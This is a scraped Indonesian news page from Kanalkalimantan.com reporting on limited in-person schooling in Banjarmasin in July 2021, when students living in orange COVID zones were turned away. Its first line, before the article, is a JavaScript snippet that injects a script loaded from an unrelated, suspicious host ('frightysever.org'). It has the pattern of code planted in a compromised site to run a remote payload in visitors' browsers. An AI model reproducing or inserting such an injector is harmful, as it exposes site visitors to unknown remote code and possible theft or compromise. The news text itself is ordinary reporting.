(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Pembelajaran Tatap Muka (PTM) tahun ajaran 2021-2022 resmi berlangsung di beberapa kelurahan yang berzona kuning dan hijau di Kota Banjarmasin.
Berlangsungnya PTM ini rupanya hanya bisa diikuti oleh siswa dari kawasan zona hijau dan kuning. Hal ini terlihat pada saat di SMPN 2 Banjarmasin meminta siswa yang tinggal di daerah oranyeatau merah untuk tidak bergabung dalam PTM.
Hal ini disampaikan Kepala Sekolah SMPN 2 Banjarmasin, Satoli menindaklanjuti aturan pelaksanaan PTM terbatas. Siswa yang berasal dari daerah non kuning dan hijau, di meminta untuk melakukan Pembelajaran Jarak Jauh (PJJ).
“Sesuai dengan edaran, siswa dari kelurahan yang oranye disuruh di rumah saja, tidak perlu ke sekolah,” ujarnya, Selasa (13/7/2021).
Baca juga: 68 Ribu Dosis Vaksin Telah Dipakai, Kadinkes Banjarbaru Tunggu Dropping Pusat
Terlihat bahwa dua orang siswa yang dipulangkan tersebut berasal dari Kelurahan Surgi Mufti dan Tanjung Pagar yang saat ini diketahui berada di zona oranye.
“Terkait materi-materi pengenalan lingkungan nanti akan kami kirim kepada mereka melalui pesan whatsapp,” terangnya.
Diketahui pelaksanaan PTM ini, pihak sekolah hanya memberikan materi pengenalan lingkungan untuk kelas 7A sampai 7H.
Pemberian materi dibagi 2 shift, yakni mulai dari pukul 07.30 – 09.30 wita untuk kelas 7 nomor absen ganjil dan pukul 10.00 sampai 11.30 wita untuk kelas 7 nomor absen genap.
“Jadi bergantian, kelas 7 ini ada delapan kelas, jadi dibagi dua. Untuk menjaga prokes, per rombel hadir hanya 50 persen,”ujar Satoli.
Namun berbeda lagi dengan SMPN 1 Banjarmasin, pada hari pelaksanaan PTM ini dihadiri seluruh peserta didik kelas 7, yang jumlahnya sekitar 224 siswa.
Baca juga: Stok Vaksin Terbatas, Wali Kota Banjarbaru: Belum Ada Kiriman Tambahan
Sementara Kepala Sekolah SMPN 1 Banjarmasin, Gusti Khairur Rahman mengatakan, masa Pengenalan Lingkungan Sekolah (MPLS) siswa kelas 7 di SMPN 1 sendiri diselenggarakan selama 3 hari. Sedangkan untuk siswa kelas 8 dan 9 semua diliburkan.
“Untuk hari ini semua siswa kelas 7 hadir. Karena pemberitahuan untuk siswa yang berada di zona oranye tidak diperkenankan turun baru kita ketahui,” katanya.
Terkait hal tersebut Kepala Dinas Pendidikan Banjarmasin, Totok Agus Daryanto menegaskan, tidak hanya sekolah yang berada di zona oranye yang ditunda, namun juga siswa yang berdomisili di zona oranye tidak diperkenankan hadir ke sekolah.
Totok meminta agar setiap sekolah wajib mendata setiap siswanya masing-masing. Sehingga tidak kecolongan, ada siswa dari zona oranye yang hadir di sekolah.
“Untuk sekolah pasti juga sudah punya data masing-masing siswa. Perminggu akan kita evaluasi. Kalau yang sekolah di zona oranye dalam seminggu berubah jadi kuning atau hijau maka boleh buka. Begitu juga sebaliknya. On/Off saja,” tegasnya. (Kanalkalimantan.com/shintia)
Reporter: shintia
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More
KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
This website uses cookies.